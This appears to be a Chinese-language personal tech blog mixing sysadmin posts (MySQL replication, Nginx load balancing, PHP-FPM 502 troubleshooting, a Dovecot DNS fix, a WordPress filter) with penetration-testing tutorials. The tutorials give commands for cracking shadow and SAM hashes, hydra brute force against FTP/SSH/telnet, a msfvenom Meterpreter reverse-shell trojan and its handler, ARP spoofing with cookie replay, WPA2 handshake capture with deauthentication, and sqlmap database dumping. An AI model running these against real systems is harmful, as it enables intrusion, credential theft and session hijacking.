the blog.

Kali 密码暴力破解合集

离线密码破解

john

  • 破解 linux shadow 文件
root@kali:~$  john /etc/shadow
  • 破解 windows sam 文件
root@kali:~$ samdump2 SYSTEM SAM -o sam.hash

需要将windows的sam文件取出hash值(只对2k/NT/XP有效,其他系统参考商业版)

root@kali:~$ john sam.hash

hydra

root@kali:~$ hydra -l root -P pass -t 5 -Vv ftp://192.168.1.1

hydra 破解 ftp,root=用户名 pass=密码本

root@kali:~$ hydra -l root -P pass -t 5 -Vv 101.201.66.209 ssh

hydra 破解 ssh,root=用户名 pass=密码本

root@kali:~$ hydra -l root -P pass -t 5 -Vv 101.201.66.209 telnet

hydra 破解 telnet,root=用户名 pass=密码本

root@kali:~$ hydra -m cloud -P pass 192.168.0.1 cisco-enable

hydra 破解 思科enable密码, pass=密码本

metasploit 命令集

  • 创建exe木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.95 LPORT=4444 -f exe -o zhzy.exe

-p   指定PAYLOAD攻击荷载

-f    生成文件格式

-o   生成文件名

LHOST  要反弹的IP地址

LPORT  反弹接收端口

  • 建立链接

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.43.95
LHOST => 192.168.43.95
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > exploit

模块分类

  • 辅助模块(Aux)
  • 渗透攻击模块(Exploits)
    • 主动渗透攻击
    • 被动渗透攻击
  • 后渗透攻击模块(Post)
  • 攻击载荷模块(Payloads)
    • 独立(Singles)
    • 传输器(Stager)
    • 传输体(Stage)
  • 空指令模块(Nops)
  • 编码器模块(Encoders)

 

Cookie 会话劫持,进行重放攻击

测试环境

操作系统 IP地址
  操作机   Kali Linux 2018 192.168.43.95
  目标机   Windows 10 192.168.43.195

什么是Cookie !

Cookie的诞生多是为了弥补http 无状态协议的不足,Cookie本身只是服务器存储在用户端的一段数据,这段数据会记录着会话的状态。这其中包含很多,比如用户的登录状态,你一定会发现登录过某个网站之后下次重现打开这个网站,你的账户会仍然是登录的状态(类似与虚拟机中的快照),实际上这就是Cookie的功劳

因为Cookie本身只是一段数据,既然它存储在用户端可以使用,那么如果把它拿出来放到另一台计算机上,实际上同样可以回复某个会话状态,在如果某个会话状态中存在已经登录成功的账户,那么我们就可以使用这个Cookie进行重放攻击(如果你在看这篇文章相信不用在多解释cookie的原理)

会话劫持

1. 对目标及进行ARP欺骗以抓取流量

root@kali:~$ echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:~$ arpspoof -i wlan0 -t 192.168.43.195 -r 192.168.43.1

进行ARP欺骗,让43.195 的所有流量经过自己的主机去上网,这里43.1 是局域网的网关

2. 使用 wireshark 抓取数据

抓包的时间尽量长一些内容会多,7-10分钟就可以了

注意最后保存的格式不要错,现在我们在/root 下有一个“cookie.pcap”的文件,我们所需要的cookie 也在这个文件里边

重放会话

1. 安装ferret

root@kali:~$ dpkg --add-architecture i386 
root@kali:~$ apt-get update 
root@kali:~$ apt-get install ferret-sidejack:i386

2. 生成hamster.txt

root@kali:~$ ferret -r cookie.pcap

3. 开启hamster 服务

4. 访问hamster页面

将自己的浏览器手动配置代理,具体参数如上图,IP: 127.0.0.1 ,端口:1234

选中几个页面打开,能发现已经是登录成功的状态了

Mysql集群存储,主从复制和读写分离

部署环境

系统 地址 版本
  MASTER   CentOS 6.7 192.168.1.1 Mysql 5.1.73
  SLAVE CentOS 6,7 192.168.1.2 Mysql 5.1.73

MASTER主服务器配置

1. 安装并登陆 mysql ,如果登录时有“ERROR 1045 (28000):”报错请点击这里解决

[root@zhzy ~]$ yum install mysqld
[root@zhzy ~]$ mysql -u root -p

2. 创建需要同步的数据库,这里我创建了zhzy 数据库

mysql> create database zhzy;

3. 推出数据库修改 /etc/my.cnf 以支持主从复制

[root@zhzy ~]$ vim /etc/my.cnf
[mysqld]  ##在此字段下添加
server-id=1
log-bin=zhzy-bin
log-slave-updates=1
binlog-do-db=zhzy
  • server-id=1                   ##服务器ID,从服务器(SLAVE)必须比主服务器(MASTER)高
  • log-bin=zhzy-bin        ##开启二进制日志,保存的文件名称为 zhzy-bin
  • log-slave-updates=1   ##使从服务器(SLAVE)跟新上述文件
  • binlog-do-db=zhzy     ##要同步的数据库,这里我同步zhzy

修改过配置文件后一定重启才能生效: service mysqld restart

5. 在master上为slave添加同步帐号

mysql> grant replication slave on *.* to 'user'@'192.168.1.2' identified by '123456';
mysql> flush  privileges;

6. 查看MASTER日志

mysql> show master status;
+----------------+----------+--------------+------------------+
| File           | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+----------------+----------+--------------+------------------+
| zhzy-bin.000001|      509 | zhzy         |                  |
+----------------+----------+--------------+------------------+
1 row in set (0.00 sec)

SLAVE从服务器配置

1. 修改配置文件

server-id=2
log-bin= zhzy-bin
relay-log= mysql-relay-bin
read-only=1
log-slave-updates=1
replicate-do-db=zhzy
  • server-id=2                    ##需要大于master
  • log-bin= zhzy-bin         ##二进制文件,需要和上述同名
  • replicate-do-db=zhzy  ##想要同步那个库

修改过配置文件后一定重启才能生效: service mysqld restart

2. 在slave测试连接

[root@zhzy ~]$ mysql -uuser -h192.168.1.1 -p123456
mysql> show grants for user@192.168.1.2;
+-----------------------------------------------------------------------------------+
|Grants for repl@192.168.1.2                                                        |
+-----------------------------------------------------------------------------------+
|GRANT REPLICATION SLAVE ON *.* TO 'user'@'192.168.1.2' IDENTIFIED BY PASSWORD '**' |
+-----------------------------------------------------------------------------------+
1 row in set (0.00 sec)

看到这样的信息证明连接成功

3. 配置从服务器(SLAVE)复制

CHANGE MASTER TO
MASTER_HOST='192.168.1.1',
MASTER_USER='user',
MASTER_PASSWORD='123456',
MASTER_PORT=3306,
MASTER_LOG_FILE='zhzy-bin.000001',
MASTER_LOG_POS=509,
  • MASTER_HOST=’192.168.1.1′,                      ##master的地址
  • MASTER_USER=’user’,                                  ##登录用户名
  • MASTER_PASSWORD=’123456′,                 ##登录密码
  • MASTER_LOG_FILE=’zhzy-bin.000001′, ##从master的 “show master status;” 看到这个文件名
  • MASTER_LOG_POS=509,                             ##从master的 “show master status;” 看到这个值
mysql> start slave;

开启slave

4. 查看slave是否正常

mysql> show slave status \G
******************* 1.row *********************
Slave_IO_Running: YES
Slave_SQL_Running: YES

只要保证红色部分是YES就证明同步已经建立了

!!! 因为同步的是master的zhzy库,但是slave并没有zhzy库,所以无法同步,我踩的大坑!!!

所以只要在slave创建zhzy库就行,然后在master的zhzy中新建表,这时候slave的zhzy库里才能同步到这些表

5. 保证slave同步不会出错(日志文件zhzy-bin的变化会导致其无法同步)

mysql> stop slave;
mysql> set global sql_slave_skip_counter =1;
mysql> start slave;
mysql> show slave status \G

测试主从复制效果

1. 在master的zhzy库中新建表

mysql> use zhzy;
Database changed
mysql> create table test(id int,name char(10));
Query OK, 0 rows affected (0.00 sec)
mysql> insert into test values(1,'aaa');

2. 进入slave的库中查看是否同步表

mysql> use zhzy;
Database changed
mysql> show tables;
+----------------+
| Tables_in_zhzy |
+----------------+
| test           |
+----------------+
1 row in set (0.00 sec)

到这里就能看到同步的效果了

Nginx 反向代理实现负载均衡

正向代理&反向代理

所以是讲反向代理的使用,不过这里还是需要提一下这两种代理模式,有比较的情况下更容易理解

  • 正向代理(Forward proxy):

    • 正向代理的服务器角色位于客户端和服务器之间,客户端需要指定一台服务器作为自己上网的代理人,不论访问什么网站,都必须经过代理服务器,之后由代理服务器决定用什么方法和网络路线去访问网站,对于服务器而言只是代理服务器在访问自己。
    • 比如你使用远程连接到互联网上的某台计算机(图形化的远程那种),之后在通过这台远程计算机去上网,实际上这时候就可以讲“可以远程的计算机”理解成为代理服务器。
    • 常见的VPN 实际上也是这个道理,比如现在在中国都无法使用Google 服务,但是香港的某台服务器(或者某台可以远程连接的计算机)可以使用Google 服务,那么身在中国的我只要可以使用这台代理服务器(或者远程到这台电脑),就可以通过它区使用Google 服务了。
  • 反向代理(Reverse proxy):

实现负载均衡

这里也是使用反向代理的机制,比如讲现在有三台主机,其中一台安装Nginx 搭建反向代理服务器(主机1),另外两台安装Apache 做网站服务器(主机2和3)。

PS:三台都是Nginx 也可以

实现的效果,在访问Nginx 服务器之后,将请求代理到Apache 服务器来处理,因为两天Apache 的网页真实数据都是一样的,所以对于客服端来讲就并没有什么直观区别,而对于Apache 来讲,减轻了自己1/2 的请求负担,从而实现负载均衡,负载分担

Nginx 搭建步骤

使用CentOS 6.7 安装Nginx, 其他安装Apache

 主机1主机2主机3  
  角色  反向代理服务器常规网站服务器常规网站服务器  
  服务Nginx 1.14.0ApacheApache  
 地址 192.168.1.1       192.168.1.2    192.168.1.3  

Nginx 配置文件

upstream zhzy_server{ 
     server 192.168.1.2 weight=1; 
     server 192.168.1.3 weight=1; 
}  
server { 
listen 80; 
server_name localhost; 
charset utf-8; 

location / { 
root /usr/share/nginx/html/;
index index. html index.htm;
proxy_pass http://zhzy_server;  
} 
}

upstream zhzy_server #可以理解自定义一个组,这个组中有两个Nginx可以访问的网站

server 192.168.1.2 weight=1; #“weight”其中某台网站服务器其负载请求的比列,数字越大越高,相同则五五开

proxy_pass http://zhzy_server; #将所有访问Nginx本身的求情转发给这台主机(这样写就是上述的那个组)

使用 Aircrack-ng 破解WiFi密码

实验需求

先来看一下我的使用环境:

系统 工具 无线模块
 版本  Kali Linux 2017.2  aircrack-ng 1.2  支持monitor模式

操作步骤

需要最少两个终端来实现,以下分别称之为shell 1 和shell 2

  • Shell 1 通过aircrack-ng 工具,将网卡改为监听模式
  • Shell 1 确定目标WiFi 的信息,比如mac 地址和信道,连接数等等
  • Shell 2 模拟无线,抓取密码信息
  • Shell 1 确定目标用户,对其发动攻击
  • Shell 2 得到加密的无线信息并进行破解(通过密码字典)

步骤就是这样了,接下来我来破解下自己的WiFi

步骤演示

开启监听模式

root@kali:~$ airmon-ng start wlan0

这里要注意的,在开启监听模式之后,wlan0 这个网卡名称现在叫wlan0mon(偶尔也会不变,具体叫什么看上图的提示)

扫描目标WiFi

root@kali:~$ airodump-ng wlan0mon

注意现在的连个方框(红色和蓝色区域),现在我们要确认一些信息,及目标AP(就是WiFi,以下简称AP) 的MAC 地址,AP 的信道和加密方式,还有目标用户的MAC地址,我们稍微整理一下:

蓝色区域:目标AP的MAC地址(WiFi路由器的)
红色区域:目标用户的MAC地址(我的手机的)
CH(信道):1
加密方式:WPA2

我们只需要这些信息就足够了

模拟WiFi 信号

root@kali:~$ airodump-ng --ivs -w wifi-pass --bssid 1C:60:DE:77:B9:C0 -c 1 wlan0mon

–ivs :指定生成文件的格式,这里格式是ivs(比如:abc.ivs)
-w :指定文件的名称叫什么,这里叫wifi-pass
–bssid :目标AP的MAC地址,就是之前蓝色区域的
-c :指定我们模拟的WiFi的信道,这里是1

敲下回车后会看到这样的一段信息,这就说明我们模拟的WiFi 已经开始抓取指定文件了,不过要注意红色箭头的位置,如果想这样一直是空的就是没有抓到需要的信息,如果抓到了看下图,可以对比出来

攻击指定的用户

这里使用另一个空闲的终端,执行以下命令

root@kali:~$ aireplay-ng -0 20 -a 1C:60:DE:77:B9:C0 -c 18:E2:9F:B0:8B:37 wlan0mon

-0 :发送工具数据包的数量,这里是20个
-a :指定目标AP的MAC地址
-c :指定用户的MAC地址,(正在使用WiFi的我的手机)

 

攻击开始后就像这样~

得到密码文件并破解

注意红色箭头指向的位置,如果在发送攻击数据包之后出现了图片里的信息,那么就是密码信息抓取成功了,如果出现了这个的话就可以结束WiFi 模拟了,我们可以按Ctrl+C 然后查看当前目录会发现多了一个wifi-pass-01.ivs 文件,我们想要的密码就在这个文件里,不过是加密的,所有我们还需要通过密码字典把密码破解出来

指定密码本来破解此文件

root@kali:~$ aircrack-ng wifi-pass-01.ivs -w /root/pass-heji.txt

-w : 指定密码字典(比如我的在/root下,所有多了绝对路径)

这里看到红色箭头的位置就是密码了,到这里密码破解就完成了~

Lnmp 解决 nginx 502 bad gateway

前言描述

最近网站正常使用中经常遇到 502 的 HTTP 返回状态码的报错,

首先跑去百度了一下这个问题,搜到的信息量着实庞大,看来这个问题出现的屏率相当之多,百度到的解决办法(老实讲,百度出来的解决办法虽然多,但大多数都是在相互重复,所以我几乎把百度的方法都式完,然而并没有什么效果)无奈之下只好自己找原因并解决了,这里先来介绍下我的网站环境

“502 bad gateway”在这光秃秃的白色页面上就会显示出这样的信息,犹如遥远的的雪地上,闪起了一道亮光,这光就在那里闪耀~,仿佛看到儿时的我在夕阳下的奔跑,想远了~,^_^|||     ,身为网站管理者的我看到这个拙不是令我很头疼,然后当然要找方法来解决这个“502” ,不过奇怪的是只有刷新 php-fpm 服务就没问题了

 

我的网站运行环境

服务器 平台 系统 粘连语言  网站系统
类型 阿里云ECS基础型 LNMP CentOS PHP WordPress
版本 1核1G 1M带宽 nginx 1.10.2 6.8 5.6+ 4.9+

Nginx 502 bad gateway 错误原因搜集

先跑去看了一眼百度百科,(频率这么高的问题百度应该有伐~)还是百科到了,给的解释是这样:“NGINX 502 Bad Gateway错误出现的原因较多,对于后端连接PHP服务的场景下,常见的原因有php服务响应超时,php进程不足等引起的一类服务器错误。” 解释完虽然不太明确问题到底在哪里,不过大致可以确定问题处在 PHP 身上,因为在整体网站使用中,PHP 这个角色会在用户和 WEB 服务之间来建立链接,那么如果 PHP 出来问题(超时或者死掉)那么后端的 Nginx 服务报 “bad gateway” 也就大致明白怎么会是了,(报错内容大致说网关失败,找不到出去的路)

锁定问题在 PHP

在通过不断的排查于思考,大致确可能是因为这两个原因

  • PHP FastCGI进程数量不够~

即使你的 Nginx 支持10000个进程连接,然而 PHP 只开启50个连接的话,如果访问 html 的静态页面,10000个连接没问题,但是我们的 wordpress 肯定是 php 的,那么 php 的页面最多 50 个链接,再多就会各种花式报错,比如 502 bad gateway

  • PHP FastCGI内存大小不够~

据说一个php进程空闲时占1M 负载是占20-50M,通过我的观察发现我的 php 几乎没有闲过,所以通常一个进程占50M+,(我的内存只有1G,其他服务用完大约700-800M左右)当内存被占满占之后,就好比各位正在打游戏突然内存爆满,cpu温度99°C,然后,就没有然后了吧~

确定问题原因,内存不足,PHP服务僵死

在查阅了nginx,php-fpm,mysql,messages,kernel等等的服务日志之后,发现只要页面一弹 502 ,messages 的日志里有这样一段信息:

May  4 14:57:48 zhzy kernel: [11589]   498 11589    98683    21778   0       0             0 php-fpm
May  4 14:57:48 zhzy kernel: [11590]   498 11590    98683    21727   0       0             0 php-fpm
May  4 14:57:48 zhzy kernel: [11591]   498 11591    78228     1062   0       0             0 php-fpm
May  4 14:57:48 zhzy kernel: Out of memory: Kill process 11447 (php-fpm) score 94 or sacrifice child
May  4 14:57:48 zhzy kernel: Killed process 11447, UID 498, (php-fpm) total-vm:403468kB, anon-rss:94288kB, file-rss:1524kB

这里就看的很很很明白了,内存不足并溢出,内核要杀掉某些服务来腾出内存空间,于是选择杀死了php-fpm 这个服务,(这里如果用 service php-fpm status 看服务的状态,仍然是开启的,但日志既然出来,确实被kill掉了,所有称之为“僵死”),那么也明白了,php跪了,所以 Nginx 给我们亲切的 502 bad gateway 的报错~

而且我的 php 在建立连接后即使这个连接不再使用,也会很长很长时间后才会关掉一部分,这就造成只有在某个时间点访问量大,php连接越来越多,然后内存溢出,报错~,不过只要刷新 php-fpm 服务就可以清除掉不用的连接

各位看到这里应该已经很清楚问题处在哪里了吧~

解决因内存不足引发的报错

怎么解决?…升级服务器不就好了,内存调到 8G 总不会总不溢出了伐~ ,太贵,拒绝……

那身为半个程序员的我,当然记得那句话:“程序员最大的乐趣就是压榨机器的性能~” 某位古老的智者留下的话

  • 通过Shell脚本解决内存溢出

#!/bin/sh
PHPMEM=$(free -m | head -2 | tail -1 | awk '{print $4}')
if [ $PHPMEM -lt 400 ]
then
        echo /etc/init.d/php-fpm restart
else
        exit 0
fi

这个脚本我配合 crontab 计划任务,每分钟执行一遍,内容呢,就是讲如果内存小于400的话就刷新 php-fpm 服务,通俗的讲,如果内存块满了,就通过刷新服务来关掉不需要的进程,从而腾出足够的内存空间,从而保住 php-fpm 的性命,那在这之后 nginx 502 的报错就几乎没有出现过了~

  • 通过增加SWAP内存来防止内存溢出

看到这个标题以为我要升级服务器~,呵呵不可能的,Linux 毕竟还是很强大,这里条件可以的话(有足够的分区),你也可以通过扩大SWAP交换分区来扩展内存,从而防止溢出,最终目的都是一样的

如果是 PHP 进程不够

这种情况的话只需要修改 php-fpm 的配置文件就可以了,不过这里还是要说明一下,php的进程分为静态(static)和动态(dynamic)两种,我们直接看两个示例

  • 静态(static) PHP 进程配置

[root@zhzy ~]# vim /etc/php-fpm.d/www.conf
pm = static
pm.children = 70
pm.start_servers = 10
pm.min_spare_servers = 7
pm.max_spare_servers = 100
pm.max_requests = 100

pm = static     #使用静态的处理模式,及一个固定的连接数
pm.children = 100     #静态模下开启的连接进程数量,这里是70,如果跟我的阿里服务器类似推荐<=50即可
pm.start_servers = 10     #动态模式下初始开启的进程数量
pm.min_spare_servers = 7     #动态模式下最下的进程数量,比如空闲时~
pm.max_spare_servers = 100      #动态模式下最大的进程数量,服务器发疯时~
pm.max_requests = 100     #解释起来比较麻烦,看这里吧 http://www.jincon.com/archives/180/

  • 动态(dynamic) PHP 进程配置

[root@zhzy ~]# vim /etc/php-fpm.d/www.conf
pm = dynamic
pm.children = 70
pm.start_servers = 10
pm.min_spare_servers = 7
pm.max_spare_servers = 100
pm.max_requests = 100

pm = dynamic     #使用动态的处理模式,服务器自己判断所需的进程数量
pm.children = 100     #这行此时不会生效,因为模式是动态
pm.start_servers = 10     #动态模式下初始开启的进程数量
pm.min_spare_servers = 7     #动态模式下最下的进程数量,比如空闲时~
pm.max_spare_servers = 100      #动态模式下最大的进程数量,服务器发疯时~
pm.max_requests = 100     #看这里吧 http://www.jincon.com/archives/180/

到这里通过合理的调整,只要使服务器有足够的进程来供用户使用,也就不会出现 502 bad gateway 的问题了

这篇文章对您有帮助一定要留个言哇~

Sqlmap 数据库注入工具

0x00 官方对与工具的解释

sqlmap是一款开源渗透测试工具,可自动检测和利用SQL注入漏洞并接管数据库服务器。它具有强大的检测引擎,针对终极渗透测试人员的众多特性,以及从数据库指纹识别,从数据库获取数据,到访问底层文件系统以及在操作系统上执行命令的各种开关,带外连接。

0x01 一些常用的选项

  •     –dump                       转储DBMS数据库表条目
  •     –dump-all                  转储所有DBMS数据库表条目
  •     –tables                       枚举DBMS数据库表
  •     –columns                   枚举DBMS数据库表列
  •     –u                               指定目标的URL
  •     –cookie=COOKIE     HTTP Cookie标头值
  •     –level=LEVEL           要执行的测试级别(1-5,默认值1)
  •     –risk=RISK                要执行测试的风险(1-3,默认值1)
  •    –dbms=DBMS            强制指定数据库类

0x02 简单的测试实例

1.  检测注入点

sqlmap -u "http://192.168.10.1/dvwa/vulnerabilities/sqli/?id=1"

 

2.  列出数据库

sqlmap -u "http://192.168.10.1/dvwa/vulnerabilities/sqli/?id=1" --dbs

 

3.  列出指定数据库中的表

sqlmap -u "http://192.168.10.1/dvwa/vulnerabilities/sqli/?id=1" -D dvwa --tables

 

4.  列出指定表中的列

sqlmap -u "http://192.168.10.1/dvwa/vulnerabilities/sqli/?id=1" -D dwwa -T users --columns

 

5.  dump出指定列中的数据字段,及帐号密码

sqlmap -u "http://192.168.10.1/dvwa/vulnerabilities/sqli/?id=1" -D dvwa -T users --columns --dump

 

持续编辑中~

Error connecting to IMAP server: dovecot. 解决方法

  • CentOS              6.7
  • Squirrelmail       1.4.22
  • Dovecot             2.0.9
  • Postfix                2.6.6

今天部署 Squirrelmail 系统,放好源码包之后开始访问,登录账号密码后,一个从未见过的 Error 就出来了

Error connecting to IMAP server: dovecot.
0 : php_network_getaddresses: getaddrinfo failed: Temporary failure in name resolution

先跑去翻译了一下,大致意思是: IMAP 服务器连接失败,目标 Dovecot ,获取地址信息失败,名称解析信息失败

 

然后想了一下我的环境里唯一涉及到 “名称“ 的,就只有 DNS 服务了,就跑去看了 DNS 服务的配置,在尝试解析~,然而没有任何问题,之后为了搜索信息把 CentOS 的网络改为 NAT 模式 (因为要上网当然 DNS 也改成了公网的8.8.8.8),之后又无意中刷新了一下网页,无意中登录了一下,竟然就登录进去了,当我再把 DNS 服务器改成自己后便又无法登录,,这里想之前的报错”名称解析失败“,分析一下原可能就是因为 DNS 了,所以解决的办法就是把 DNS 指向可用的公网 DNS 服务器

 

wordpress 支持中文注册用户的方法

在部署我自己的wordpress网站之后就是一系列的功能添加优化,添加滑块,更换主题,用户中心,等等各种功能,不过到今天刚发现我的wordpress竟然不能注册中文用户,为此又百度了一番,今天也解决了这个问题,这里分享给大家

找到主题的functions.php 文件,在文件尾部添加
function ludou_non_strict_login( $username, $raw_username, $strict ) {
if( !$strict )
return $username;
return sanitize_user(stripslashes($raw_username), false);
}
add_filter('sanitize_user', 'ludou_non_strict_login', 10, 3);
之后刷新页面再次注册就可以注册中文用户啦~